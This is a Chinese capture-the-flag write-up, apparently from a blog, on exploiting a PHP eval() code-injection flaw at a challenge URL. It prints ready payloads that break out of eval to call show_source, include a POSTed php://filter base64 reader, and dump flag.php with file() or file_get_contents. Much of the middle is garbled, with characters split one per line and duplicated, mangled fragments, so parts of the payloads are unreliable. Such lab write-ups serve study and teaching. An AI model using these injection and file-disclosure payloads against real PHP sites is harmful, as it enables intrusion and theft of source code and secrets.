方法一:eval存在命令执行漏洞,使用hello构造payload
http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(
方法二:
http://120.24.86.145:8003/index.php?hello=1);include
P
O
S
T
[
′
f
′
]
;
/
/
在
P
O
S
T
区
域
:
f
=
p
h
p
:
/
/
f
i
l
t
e
r
/
c
o
n
v
e
r
t
.
b
a
s
e
64
−
e
n
c
o
d
e
/
r
e
s
o
u
r
c
e
=
f
l
a
g
.
p
h
p
B
a
s
e
64
再
解
码
即
可
。
方
法
三
:
直
接
将
f
l
a
g
.
p
h
p
文
件
读
入
变
量
h
e
l
l
o
中
?
h
e
l
l
o
=
g
e
t
f
i
l
e
c
o
n
t
e
n
t
s
(
′
f
l
a
g
.
p
h
p
′
)
?
h
e
l
l
o
=
f
i
l
e
(
′
f
l
a
g
.
p
h
p
′
)
详
解
:
搜
了
一
下
@
_POST['f'];// 在POST区域:f=php://filter/convert.base64-encode/resource=flag.php Base64再解码即可。 方法三:直接将flag.php文件读入变量hello中 ?hello=get_file_contents('flag.php') ?hello=file('flag.php') 详解: 搜了一下@
POST[′f′];//在POST区域:f=php://filter/convert.base64−encode/resource=flag.phpBase64再解码即可。方法三:直接将flag.php文件读入变量hello中?hello=getfilecontents(′flag.php′)?hello=file(′flag.php′)详解:搜了一下@_REQUEST 的意思是获得参数,不论是@
G
E
T
还
是
@
_GET还是@
GET还是@_POST可以得到的参数@$_REQUEST都能得到。
所以构造hello的get参数。
$a应该最后会像字符串替换一样替换成hello的参数值吧。
eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
print_r() 函数只用于输出数组。
var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。
php://filter/convert.base64-encode/resource=文件路径(如index.php)
本地包含
最新推荐文章于 2019-10-07 10:33:00 发布